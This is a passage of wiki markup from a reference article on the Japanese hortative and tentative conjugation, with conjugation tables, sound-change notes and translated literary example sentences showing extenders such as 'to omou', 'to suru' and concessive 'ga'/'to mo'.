| {{#invoke:nihongo|nihongo_krt|let's/probably …|〜ません|‑masen}}<br>{{#invoke:nihongo|nihongo_krt||〜ませむ|‑masemu}}
|-
| {{#invoke:nihongo|nihongo_krt|be|です|desu}}
| style=text-align:right | {{#invoke:lang|lang|ja|で}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|で}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|しょ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|probably be|でしょう|deshō}}
|-
| {{#invoke:nihongo|nihongo_krt|be|である|de aru}}<br>{{#invoke:nihongo|nihongo_krt||だ|da}}<br>{{#invoke:nihongo|nihongo_krt||じゃ|ja}}<br>{{#invoke:nihongo|nihongo_krt||や|ya}}
| style=text-align:right | {{#invoke:lang|lang|ja|であ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''<br>{{#invoke:lang|lang|ja|だ<br>じゃ<br>や}}
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|であ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ろ}}</span>'''<br>{{#invoke:lang|lang|ja|だ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ろ}}</span>'''<br>{{#invoke:lang|lang|ja|じゃ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ろ}}</span>'''<br>{{#invoke:lang|lang|ja|や}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ろ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|probably be|であろう|de arō}}<br>{{#invoke:nihongo|nihongo_krt||だろう|darō}}<br>{{#invoke:nihongo|nihongo_krt||じゃろう|jarō}}<br>{{#invoke:nihongo|nihongo_krt||やろう|yarō}}
| {{ipa|/ni te aramu → de aɾamu → d(j)aɾamu → d(j)aɾaũ → d(j)aɾɔː → d(j)aɾoː/}}
|-
| {{#invoke:nihongo|nihongo_krt||〜た|‑ta}}<br>{{#invoke:nihongo|nihongo_krt||〜たる|‑taru}}<br>{{#invoke:nihongo|nihongo_krt||〜だ|‑da}}<br>{{#invoke:nihongo|nihongo_krt||〜だる|‑daru}}
| style=text-align:right | {{#invoke:lang|lang|ja|た}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''<br>{{#invoke:lang|lang|ja|だ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|た}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ろ}}</span>'''<br>{{#invoke:lang|lang|ja|だ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ろ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt||〜たろう|‑tarō}}<br>{{#invoke:nihongo|nihongo_krt||〜だろう|‑darō}}
| {{ipa|/te aɾamu → taɾamu → taɾaũ/daɾaũ → taɾɔː/daɾɔː → taɾoː/daɾoː/}}
|-
! colspan=6 style=text-align:left | Adjectives and adjectival auxiliaries
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|be nonexistent|無い|nai}}<br>{{#invoke:nihongo|nihongo_krt||無かる|nakaru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|無か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|無か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ろ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|be probably nonexistent|無かろう|nakarō}}
| rowspan=4 | {{ipa|/ku aɾamu → kaɾamu → kaɾaũ → kaɾɔː → kaɾoː/<br>/ku aɾamu → kaɾamu → kaɾaN/}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|無か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|be probably nonexistent|無からん|nakaran}}<br>{{#invoke:nihongo|nihongo_krt||無からむ|nakaramu}}
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|be good|良い|ii/yoi}}<br>{{#invoke:nihongo|nihongo_krt||良かる|yokaru}}
| rowspan=2 style=text-align:right | {{#invoke:lang|lang|ja|良か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|良か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ろ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|う}}</span>'''
| {{#invoke:nihongo|nihongo_krt|be probably good|良かろう|yokarō}}
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|良か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>む}}</span>'''
| {{#invoke:nihongo|nihongo_krt|be probably good|良からん|yokaran}}<br>{{#invoke:nihongo|nihongo_krt||良からむ|yokaramu}}
|-
! colspan=6 style=text-align:left | Special auxiliaries
|-
| {{#invoke:nihongo|nihongo_krt||〜ん|‑n}}<br>{{#invoke:nihongo|nihongo_krt||〜ぬ|‑nu}}<br>{{#invoke:nihongo|nihongo_krt||〜ず|‑zu}}
| style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span>'''
| style=border-left:none |
| {{#invoke:nihongo|nihongo_krt||〜じ|‑ji}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「くっ。どうやら遅かったようだ!」<br>言うなり、ラルファスは<ruby>鎧<rp>(</rp><rt>よろい</rt><rp>)</rp></ruby>をガチャガチャと鳴らして走り出した。遅れじと二人の副官が後に続く。|script-chapter=ja:第二章 ラルファスの戦い|publisher=AlphaPolis|date=30 November 2006|edition=9th|orig-date=15 October 2005|script-title=ja:レイン 雨の日に生まれた戦士|volume=1|first=Takumi|last=Yoshino}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:同じく副会長であった熊谷富夫氏も忘れがたい人である。長年NHK大阪で、演芸番組をプロデュースし、落語や漫才について造詣の深い人であった。会議の中でも、洒落が口をついて出るという笑い好きでもあった。それに輪を掛けて洒落の得意な人に、先にふれた相羽秋夫氏がいた。二人は、洒落の応酬では、負けじとばかりに火花を散らすことがあった。|trans-quote=Mr Kumagai Tomio, another vice president, was also an unforgettable man. He produced entertainment programs at NHK Osaka for years, and was deeply learned in rakugo and manzai. He loved to laugh and would crack jokes even in meetings. Even more of a joker was the aforementioned Mr Aiba Akio. The two would exchange jokes and constantly one-up each other at trading verbal blows.|page=4|script-title=ja:学会の30年 ~今は亡き人々を偲ぶ|first=Hiroshi|last=Inoue|journal=笑い学研究 |script-journal=ja:笑い学研究|volume=31|date=August 2024|url=https://www.jstage.jst.go.jp/article/warai/31/0/31_3/_pdf|issn=2423-9054|doi=10.18991/warai.31.0_3}}</ref>
|}
=== Hortative: Grammatical compatibility ===
The hortative can be quoted with the [[quotative]] particle ''to'',{{sfnp|Martin|2004|pp=999, 1008, 1011, 1013, 1015}} with {{#invoke:nihongo|nihongo||と思う|to omou|{{gloss|I think that}}}} in particular often being used to unambiguously convey volition (as opposed to invitation to act together), similarly to the [[Japanese conjugation (ren'yōkei base)#Infinitive: Grammatical compatibility|desirative]] with ''‑tai''/''‑tagaru''; compare {{#invoke:nihongo|nihongo||帰ろうと思う|kaerō to omou|{{gloss|I think I'll go home}}}} and {{#invoke:nihongo|nihongo||帰りたいと思う|kaeritai to omou|{{gloss|I feel like going home}}}}. The extender {{#invoke:Nihongo|nihongo||とする|to suru}} conveys imminent realization of volition, even for actions by inanimate agents.{{sfnp|Martin|2004|p=612}}
The tentative can combine with ''ga'' or ''to (mo)'' to form the tentative concessive,{{sfnp|Martin|2004|p=981, 1020–1021}} with meanings similar to the [[Japanese conjugation (ren'yōkei base)#Gerund|gerundive]] concessive ''‑te mo'', the [[Japanese conjugation #Conditional|conditional]] concessive ''‑edo'' and the [[Japanese conjugation #Imperative|imperative]] concessive ''ni shiro/seyo'' and ''de are''.
The classical tentative is often followed by the particle ''bakari'' ("almost").{{sfnp|Martin|2004|p=614–615}}
{| class="wikitable"
|+ style=text-align:left | Hortative and tentative with extender
|-
! Extender
! English
! Japanese
! Function
|-
! rowspan=9 | {{#invoke:nihongo|nihongo||と|to}}
| At dusk when everybody gathered at the bus to go home, we somehow seemed to be two people short.
| {{#invoke:Nihongo|nihongo||夕暮れになって、バスで全員が'''帰ろうと'''集合してみると、どうも二人足りない|Yūgure ni natte, basu de zen'in ga '''kaerō to''' shūgō shite miru to, dō mo futari tarinai}}
| rowspan=9 | unambiguous volition
|-
| [I think] I'll try it out and buy it if I like it.
| {{#invoke:Nihongo|nihongo||試しに使ってみて、よかったら'''買おうと思う'''|Tameshi ni tsukatte mite, yokattara '''kaō to omou'''}}
|-
| I thought I'd hit him good.
| {{#invoke:Nihongo|nihongo||よっぽど殴って'''やろうと思った'''|Yoppodo nagutte '''yarō to omotta'''}}
|-
| I had no thought of sleep.
| {{#invoke:Nihongo|nihongo||私は'''眠ろうと思わなかった'''|Watashi wa '''nemurō to omowanakatta'''}}
|-
| I'm thinking of driving around the island in a rental car.
| {{#invoke:Nihongo|nihongo||レンタカーで島をドライブ'''しようと思って'''ます|Rentakā de shima o doraibu '''shiyō to omotte''' 'masu}}
|-
| He was calm. Somehow, his heart beat evenly, like that of a man determined to do something dangerous yet inevitable.
| {{#invoke:Nihongo|nihongo||彼は落ちつき払っていた。何かしら、危険な、しかも避けえられないことを'''しょうと決心した'''人のように、心臓の鼓動もおだやかなものであった。<ref name=nakayama-1953/>|Kare wa ochitsuki haratte ita. Nani kashira, kiken na, shika mo sakeerarenai koto o '''shō to kesshin shita''' no yō ni, shinzō no kodō mo odayaka na mono de atta.}}
|-
| And thus if we, during the coming revolution, wish to leave the doors wide open to reaction, to monarchy perhaps, for us nothing beats confiding our affairs to a representative government, to a cabinet armed with all the powers that that government possesses today.
| {{#invoke:Nihongo|nihongo||されば、若し吾々が、來るべき革命に際して、反動の爲に、恐らくは王政の爲に大門戶を開放し'''置かうと欲する'''なら、吾々は、代議政府に、今日同政府が有する全政權を以て武裝する內閣に、吾々の事務を委任するに如くはない。<ref>{{#invoke:cite|book|lang=ja|trans-quote=And thus if we, during the coming revolution, wish to leave the doors wide open to reaction, to monarchy perhaps, for us nothing beats confiding our affairs to a representative government, to a cabinet armed with all the powers that that government possesses today. The reactionary dictator, at first tinged with red, then before long turning blue to the extent that he feels comfortable sitting down, will have no need for deferment. He will be able to use at will all the structures for domination, that is, he will find all the instruments readily prepared for him.|script-quote=ja:されば、若し吾々が、來るべき革命に際して、反動の爲に、恐らくは王政の爲に大門戶を開放し置かうと欲するなら、吾々は、代議政府に、今日同政府が有する全政權を以て武裝する內閣に、吾々の事務を委任するに如くはない。最初は赤色を帶び、やがて坐はり心地のよい程度に從て靑色化する反動的獨裁者は、猶豫する必要はないであらう。彼は總ゆる支配機關を自由にすることができるであらう。卽ち彼は總ての道具建が自分の爲に用意されてゐるのを發見するであらう。|quote=Et si nous voulons, lors de la prochaine révolution, laisser les portes grand-ouvertes à la réaction, à la monarchie, peut-être, nous n'avons qu'à confier nos affaires à un gouvernement représentatif, à un ministère armé de tous les pouvoirs qu'il possède aujourd'hui. La dictature réactionnaire, d'abord nuancée de rouge, puis bleuissant à mesure qu'elle se sentira mieux en selle, ne se fera pas attendre. Elle aura à sa disposition tous les instruments de domination : elle les trouvera tout prêts à son service.|authorlink=Peter Kropotkin|first=Peter|last=Kropotkin|title=LE GOUVERNEMENT REPRÉSENTATIF|script-title=ja:歿落の代議政體|trans-title=The Fallen Representative Government|editor-first=Charles|editor-last=Marpon|editor-link2=Ernest Flammarion|editor-first2=Ernest|editor-last2=Flammarion|translator-link=Élisée Reclus|translator-first=Élisée|translator-last=Reclus|translator-link2=Ishikawa Sanshirō|translator-last2=Ishikawa|translator-first2=Sanshirō|location=Chitose, Tokyo|publisher=Kiogakusha|script-chapter=ja:二|chapter=II|url=https://dl.ndl.go.jp/pid/10297902/1/21|p=18|date=23 June 1931}}</ref>|Sareba, moshi wareware ga, kuru beki kakumei ni saishite, handō no tame ni, osoraku wa ōsei no tame ni daimonko o kaihō shi '''okō to hossuru''' nara, wareware wa, daigi seifu ni, konnichi dōseifu ga yūsuru zenseiken o motte busō suru naikaku ni, wareware no jimu o inin suru ni shiku wa nai.}}
|-
| Should you wish to make the Iliad, put yourself on diet.
| {{#invoke:Nihongo|nihongo||諸君がイリアツドを'''作らんと欲せば'''、先づ斷食をせられよ。<ref name=honma-1919/>|Shokun ga Iriaddo o '''tsukuran to hosseba''', mazu danjiki o serareyo.}}
|-
| Suppose that a drowning man promises to give all his fortune to whoever willing to cast a net to help, that is no other than promising involuntarily in a coercive state at hand, thus he is well within his rights to retract such promise;
| {{#invoke:Nihongo|nihongo||水に溺れんとする者、助けの網を投ぜん者に全財產を'''與へんと約したり'''とせんに、それは當面の强制狀態己むなく約束したに外ならないが故にその約束を取消して宜しかるべく、<ref name=wada-1930/>|Mizu ni oboren to suru mono, tasuke no ami o tōzen mono ni zenzaisan o '''ataen to yakushitari''' to sen ni, sore wa tōmen no kyōsei jōtai yamu naku yakusoku shita ni hoka naranai ga yue ni sono yakusoku o torikeshite yoroshikaru beku,}}
|-
! rowspan=10 | {{#invoke:nihongo|nihongo||とする|to suru}}<br>{{#invoke:nihongo|nihongo||となさる|to nasaru}}
| When he was about to board the train, someone called him from behind.
| {{#invoke:Nihongo|nihongo||電車に'''乗ろうとした'''とき、後ろから声をかけられた|Densha ni '''norō to shita''' toki, ushiro kara koe o kakerareta}}
| rowspan=10 | being about, being planning/intending, starting or trying to do something
|-
| He had a crack at singing.
| {{#invoke:Nihongo|nihongo||彼は歌って'''みようとした'''|Kare wa utatte '''miyō to shita'''}}
|-
| The electric clock in the office is about to go past three.
| {{#invoke:Nihongo|nihongo||事務所の電気時計は三時を'''過ぎようとして'''いる|Jimusho no denkidokei wa sanji o '''sugiyō to shite''' iru}}
|-
| But it isn't that the author couldn't get married, it is that she has no inclination to do so.
| {{#invoke:Nihongo|nihongo||だが、著者は結婚することができなかったのではなくて、'''しようとしない'''のである|Da ga, chosha wa kekkon suru koto ga dekinakatta no de wa nakute, '''shiyō to shinai''' no de aru}}
|-
| Nobody tried/was about to open his mouth.
| {{#invoke:Nihongo|nihongo||誰も口を'''開こうとしなかった'''|Dare mo kuchi o '''hirakō to shinakatta'''}}
|-
| The bus was not about to stop.
| {{#invoke:Nihongo|nihongo||バスは'''止まろうとしなかった'''|Basu wa '''tomarō to shinakatta'''}}
|-
| The battle is about to begin.
| {{#invoke:Nihongo|nihongo||戦いはまさに'''開始せんとして'''いる|Tatakai wa masa ni '''kaishi sen to shite''' iru}}
|-
| Heaven has an end in all: yet, you that hear me,<br>This from a dying man receive as certain:<br>[…] for those you make friends<br>And give your hearts to, when they once perceive<br>The least rub in your fortunes, fall away<br>Like water from ye, never found again<br>But where they mean to sink ye.
| {{#invoke:Nihongo|nihongo||何事にも天意が働いてゐる。しかしながら、諸君よ、これだけは慥かな事だとして、'''死なんとする'''者のいふことを聽いておいて下さい。[…]刎頸莫逆の友と雖も一たび君がたが降り坂にさしかゝったなと認めるといふと、水の低きに就くやうに離れ去って、姿を見せなくなりますぞ、君たちを'''滅さうと'''でも'''する'''時の外は。<ref>{{#invoke:cite|book|lang=ja|quote=Heaven has an end in all: yet, you that hear me,<br>This from a dying man receive as certain:<br>Where you are liberal of your loves and counsels,<br>Be sure you be not loose; for those you make friends<br>And give your hearts to, when they once perceive<br>The least rub in your fortunes, fall away<br>Like water from ye, never found again<br>But where they mean to sink ye.|script-quote=ja:何事にも天意が働いてゐる。しかしながら、諸君よ、これだけは<ruby>慥<rp>(</rp><rt>たし</rt><rp>)</rp></ruby>かな事だとして、死なんとする者のいふことを聽いておいて下さい。といふのは、深く人を愛して懇切に忠告なぞをなさる場合に、<ruby>餘<rp>(</rp><rt>あンま</rt><rp>)</rp></ruby>り油斷をなさらんやうに。<ruby>刎<rp>(</rp><rt>ふん</rt><rp>)</rp></ruby><ruby>頸<rp>(</rp><rt>けい</rt><rp>)</rp></ruby><ruby>莫<rp>(</rp><rt>ばく</rt><rp>)</rp></ruby><ruby>逆<rp>(</rp><rt>ぎやく</rt><rp>)</rp></ruby>の友と雖も一たび君がたが<ruby>降<rp>(</rp><rt>くだ</rt><rp>)</rp></ruby>り坂にさしかゝったなと認めるといふと、水の低きに<ruby>就<rp>(</rp><rt>つ</rt><rp>)</rp></ruby>くやうに離れ去って、姿を見せなくなりますぞ、君たちを<ruby>滅<rp>(</rp><rt>ほろぼ</rt><rp>)</rp></ruby>さうとでもする時の外は。|page=60|url=https://dl.ndl.go.jp/pid/1664875/1/36|script-chapter=ja:第一場 ウェストミンスター。街上。|chapter=Scene I. Westminster. A street.|script-title=ja:ヘンリー八世|title=King Henry VIII|trans-title=[[Henry VIII (play)|Henry VIII]]|series={{#invoke:lang|lang|ja|シェークスピヤ全集}}|authorlink=William Shakespeare|first1=William|last1=Shakespeare|authorlink2=John Fletcher (playwright)|first2=John|last2=Fletcher|publisher=Shinjusha|translator-link=Tsubouchi Shōyō|translator-last=Tsubouchi|translator-first=Shōyō|date=10 October 1958|location=[[Bunkyō]], Tokyo}}</ref>|Nanigoto ni mo Ten'i ga hataraite iru. Shika shinagara, shokun yo, kore dake wa tashika na koto da to shite, '''shinan to suru''' mono no yū koto o kiite oite kudasai. […] Funkei bakugyaku no tomo to iedo mo hitotabi kimigata ga kudarizaka ni sashikakatta na to mitomeru to yū, to mizu no hikuki ni tsuku yō ni hanaresatte, sugata o misenaku narimasu zo, kimitachi o '''horobosō to''' de mo '''suru''' toki no hoka wa.}}
|-
| while all the time Nature is inviting you to talk earnestly with her, to understand her, to subdue her, and to be blessed by her!
| {{#invoke:Nihongo|nihongo||然るに一方大自然を見よ。自然は汝をして己れ(自然)と熱心に話を'''かわさしめんとして''',己れを'''理解せしめんとして''',己れを'''征服せしめんとして''',かくて己れより幸福を'''得せしめんとして''',常に汝を御出で御出でと招いて居るのである。<ref name=hashimoto-1918>{{#invoke:cite|book|lang=ja|script-quote=ja:顧ふに困苦災厄は之を避くることが出來ぬかも知れぬ。併し何人と雖も怏々として不景氣な顏をして居つてよいと云ふ道理はないのである。然るに世の中にはさう云ふ者がある。此の種の人は來世のことを云爲する。併し知らなければならぬ,如何に詰らぬ事が現世にあるにしても,其の詰らぬ事は自分で作るのである。サー・アーサー・ヘルプスも言ふて居る。「何とな,世の中が詰らぬとな,それはちよこざいな言ひ分といふものである。何故と云ふに,一體百合の花にか〻る愛らしき形狀を附與し,菫の花にか〻る濃艶な色を附與し,ばらの花にか〻る芳香を附與したもの〻何なるかを汝は知つて居らぬではないか。またまむしの毒の成分の何なりやを知らぬ程度は鳩の快活な擧動を眞似し得ぬと同じほどの程度にあるのではないか。また地といひ,空氣と云ひ,水といひ,これ皆等しく汝には不可解であるのではないか。而して汝が手をさし伸ぶるときに,其の特性を充分理解した物は何一つ手に觸れぬではないか。「かくても尙ほ世の中を詰らぬと云ふ資格ありと思ふか」。然るに一方大自然を見よ。自然は汝をして己れ(自然)と熱心に話をかわさしめんとして,己れを理解せしめんとして,己れを征服せしめんとして,かくて己れより幸福を得せしめんとして,常に汝を御出で御出でと招いて居るのである。請ふ行け,行いて何物かを學び,何物かを爲し,何物かを理解せよ。かくて予に二度と再び世の中が詰らぬとの語を聞かしては吳れな」と。言ひ得て妙と謂ふべしである。|quote=Suffering may be unavoidable, but no one has any excuse for being dull. And yet some people ''are'' dull. They talk of a better world to come, while whatever dulness there may be here is all their own. Sir [[Arthur Helps]] has well said: "What! dull, when you do not know what gives its loveliness of form to the lily, its depth of color to the violet, its fragrance to the rose; when you do not know in what consists the venom of the adder, any more than you can imitate the glad movements of the dove. What! dull, when earth, air, and water are all alike mysteries to you, and when as you stretch out your hand you do not touch anything the properties of which you have mastered; while all the time Nature is inviting you to talk earnestly with her, to understand her, to subdue her, and to be blessed by her! Go away, man; learn something, do something, understand something, and let me hear no more of your dulness."|pp=98–99|url=https://dl.ndl.go.jp/pid/943082/1/56|chapter=CHAPTER III. The Value of Time <small>Each day is a little life.</small>|script-chapter=ja:'''第三章''' 時の價値 <small>其の日其の日はこれ短かき一生なり。</small>|title=The Pleasures of Life|script-title=ja:人生の樂事 原文對照譯註詳解 ザ、プレジュアズ、オブ、ライフ講義|trans-title=The Pleasures of Life: A Detailed Translation with Notes, [[Parallel text|Parallel with the Original Text]]|authorlink=John Lubbock, 1st Baron Avebury|first=John|last=Lubbock|translator-last=Hashimoto|translator-first=Hiroshi|publisher=Meishinsha|date=10 September 1918|location=[[Koishikawa]], Tokyo}}</ref>|Shikaru ni ippō Daishizen o miyo. Shizen wa nanji o shite onore (Shizen) to nesshin ni hanashi o '''kawasashimen to shite''', onore o '''rikai seshimen to shite''', onore o '''seifuku seshimen to shite''', kakute onore yori kōfuku o '''toku seshimen to shite''', tsune ni nanji o oide oide to maneite iru no de aru.}}
|-
| But perhaps because I seemed to hit it off with Mr Andō, Mr Andō himself was not the least inclined to consult other doctors.
| {{#invoke:Nihongo|nihongo||しかし、安藤さんとは馬が合うと言うのか、安藤さんご自身、ほかの医者にまるで'''かかろうとなさらない'''んです|Shika shi, Andō-san to wa uma ga au to yū no ka, Andō-san gojishin, hoka no isha ni maru de '''kakarō to nasaranai''' n desu}}
|-
! rowspan=5 | {{#invoke:nihongo|nihongo||が|ga}}
| Whether you go or not, I'll go.
| {{#invoke:Nihongo|nihongo||君が'''行こうが行くまいが'''、俺は行く|Kimi ga '''ikō ga iku mai ga''', ore wa iku}}
| rowspan=9 | concession
|-
| come hell or high water; {{lit|whether rain or spears fall}}
| {{#invoke:Nihongo|nihongo||雨が'''降ろうが'''槍が'''降ろうが'''|ame ga '''furō ga''' yari ga '''furō ga'''}}
|-
| She always listened to water boil, and whenever the pot got empty, come rain, wind or shine, she always refilled it.
| {{#invoke:Nihongo|nihongo||彼女は、年がら年じゅう、湯がたぎるのを聞き、なべがからっぽになれば、たとえ雨が'''降ろうが'''、風が'''吹こうが'''、また日が'''照ろうが'''、年がら年じゅう、そいつをいっぱいにしてきたのだ。<ref>{{#invoke:cite|book|lang=ja|quote=Elle a toujours entendu de l'eau bouillir et, la marmite vidée, qu'il pleuve, qu'il vente ou que le soleil tape, elle l'a toujours remplie.|script-quote=ja:彼女は、年がら年じゅう、湯がたぎるのを聞き、なべがからっぽになれば、たとえ雨が降ろうが、風が吹こうが、また日が照ろうが、年がら年じゅう、そいつをいっぱいにしてきたのだ。|url=https://dl.ndl.go.jp/pid/1696577/1/43|page=79|script-chapter=ja:なべ|chapter=La Marmite|trans-chapter=The Pot|title=Poil de Carotte|trans-title=[[Poil de Carotte|Carrot Top]]|script-title=ja:にんじん|authorlink=Jules Renard|first=Pierre-Jules|last=Renard|translator-link=Kunio Kishida|translator-first=Kunio|translator-last=Kishida|publisher=Hakusuisha|date=25 August 1959|location=[[Chiyoda, Tokyo]]}}</ref>|Kanojo wa nengara nenjū, yu ga tagiru no o kiki, nabe ga karappo ni nareba, tatoe ame ga '''furō ga''', kaze ga '''fukō ga''', mata hi ga '''terō ga''', nengara nenjū, soitsu o ippai ni shite kita no da.}}
|-
| Still, English or no, Galen could not justify simply attacking the party and killing the woman.
| {{#invoke:Nihongo|nihongo||といえば、イングランド娘'''であろうがなかろうが'''、その一行に奇襲をかけ、マグレガーの花嫁となる娘を殺すことに正義があるとは、ゲイランには思えなかった。<ref name=sano-2018/>|To ieba, Ingurando musume '''de arō ga nakarō ga''', sono ikkō ni kishū o kake, MaGuregā no hanayome to naru musume o korosu koto ni seigi ga aru to wa, Geiran ni wa omoenakatta.}}
|-
| That said, whether they're stronger or weaker than me, I still have to beat them eventually, so as long as I'm giving it my all, it doesn't really matter…….
| {{#invoke:Nihongo|nihongo||てか、俺より'''強かろうが弱かろうが'''、結局倒さなきゃいけないわけで、全力を尽くす俺からすれば、あんまり関係ないような……。<ref>{{#invoke:cite|book|lang=ja|trans-quote=I'm only an average guy…… No, as a guy at the bottom of Earth's barrel, I was already painfully aware I'm the weakest one, so now even when I got told someone else's stronger than me, I'm not the least bit surprised…….<br>That said, whether they're stronger or weaker than me, I still have to beat them eventually, so as long as I'm giving it my all, it doesn't really matter…….|script-quote=ja:ただの一般人……いや、地球で最底辺だった俺は、それこそ自分が最弱だったことを知ってるので、今さら俺より強いと言われても、驚きも何もないんだが……。<br>てか、俺より強かろうが弱かろうが、結局倒さなきゃいけないわけで、全力を尽くす俺からすれば、あんまり関係ないような……。|script-chapter=ja:悪霊の王|trans-chapter=King of the Demons|trans-title=Fruit of Evolution: Living the Life of the Winning Side without Knowing It|script-title=ja:<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby><ruby>化<rp>(</rp><rt>か</rt><rp>)</rp></ruby>の<ruby>実<rp>(</rp><rt>み</rt><rp>)</rp></ruby>~<ruby>知<rp>(</rp><rt>し</rt><rp>)</rp></ruby>らないうちに<ruby>勝<rp>(</rp><rt>か</rt><rp>)</rp></ruby>ち<ruby>組<rp>(</rp><rt>ぐみ</rt><rp>)</rp></ruby><ruby>人<rp>(</rp><rt>じん</rt><rp>)</rp></ruby><ruby>生<rp>(</rp><rt>せい</rt><rp>)</rp></ruby>~|author=Miku|series={{#invoke:lang|lang|ja|モンスター文庫}}|publisher=Futabasha|date=31 December 2017|location=[[Shinjuku]], Tokyo|volume=7}}</ref>|Te ka, ore yori '''tsuyokarō ga yowakarō ga''', kekkyoku taosanakya ikenai wake de, zenryoku tsukusu ore kara sureba, anmari kankei nai yō…….}}
|-
! rowspan=4 | {{#invoke:nihongo|nihongo||と(も)|to (mo)}}
| Whatever he does has no bearing on me.
| {{#invoke:Nihongo|nihongo||彼が何を'''しようと'''私には無関係だ|Kare ga nani o '''shiyō to''' watashi ni wa mukankei da}}
|-
| Come wind, storm, cold or rain, ――nothing struck him down.
| {{#invoke:Nihongo|nihongo||風が'''吹こうと'''嵐が'''来ようと'''、寒さや雨が襲来'''しようと'''、――何ものも打撃を与えることはなかった。<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:イプセンの伝記者は彼の風貌を次のように描いている、「彼は脊はあまり高くはなかったが、堂々たる感じをもっていた。上体は殊に並々ならぬ強靱さを示していた。顔全体は彼の年齢にふさわしくないほど房々した白髪や白髯に縁どられていた。固く結んだ唇、眼鏡越しに注がれる眼眸、濃い眉毛は倦むことなく張りつめた思想と意志を感じさせる。そのうえに秀でた力づよい、広い額……全体の姿から<span style=text-emphasis:sesame>戦闘的な力</span>が感じられるのである……ついぞ、イプセンが患ったというような話を聞いたことがない。老年の域に達すれば必ずありがちな病気さえ彼には縁がなかったのである。<span style=text-emphasis:sesame>彼は全く健康の化身のようなものであった</span>。風が吹こうと嵐が来ようと、寒さや雨が襲来しようと、――何ものも打撃を与えることはなかった。彼の為した一切のことを見れば彼が秩序というものの化身であったことが察せられる。これほど時計の針のようにきちんとした生涯を送った人を他にさがすとなれば、なかなか容易なことではないであろう。」|trans-quote=Ibsen's biographer describes his appearance as follows, "He was not very tall, yet bore an imposing aura. His upper body distinctly displayed extraordinary strength. His whole face was framed by gray hair, head and facial, abundant for his age. His tightly closed lips, his gaze fixed through the glasses, and his bushy brows gave the impression of tirelessly strained thought and will. A strong forehead rose prominently above everything…… His whole figure exuded ''combative strength''…… No account of Ibsen being ill was ever heard of. Even the ailments common in old age eluded him. ''He seemed like the very embodiment of health.'' Come wind, storm, cold or rain, ――nothing struck him down. Given everything he did, it could be fathomed that he was the embodiment of regularity. It would be no mean feat to find someone else who led a life as regular as clockwork to such extent."|quote=Биограф описывает наружность Ибсена: «Он небольшого роста, но тем не менее производит внушительное впечатление. Верхняя часть тела отличается необыкновенной крепостью. Все лицо обрамлено сединами, обильными наперекор его возрасту. Сжатые губы, взгляд, устремленный через очки, и густые брови производят впечатление неустанно напряженной мысли и воли. Над всем возвышается сильный, развитой лоб… Вся фигура производит впечатление ''боевой силы…'' Никто не слыхал, чтобы Ибсен когда-нибудь хворал. Даже недуги, составляющие обычное явление в преклонном возрасте, пощадили его. ''Он весь как бы представляет из себя олицетворенное здоровье.'' Ни ветер, ни буря, ни холод, ни дождь — ничто не смущает его. Во всем, что он делает, он — воплощенная регулярность. Долго пришлось бы искать кого-нибудь другого, чья жизнь в такой же степени походила бы на часовой механизм».|page=84|url=https://dl.ndl.go.jp/pid/1694127/1/45|script-chapter=ja:イプセン|chapter=Ибсен|trans-chapter=[[Ibsen]]|script-title=ja:永遠の伴侶|volume=2|title=Вечные спутники. Портреты из всемирной литературы|trans-title=The Eternal Companions|translator-first=Shōzaburō|translator-last=Nakayama|first=Dmitry Sergeyevich|last=Merezhkovsky|authorlink=Dmitry Merezhkovsky|series={{#invoke:lang|lang|ja|創元文庫}}|date=15 November 1952|publisher=Sogensha|location=[[Chūō, Tokyo]]}}</ref>|Kaze ga '''fukō to''' arashi ga '''koyō to''', samusa ya ame ga shūrai '''shiyō to''',――nani 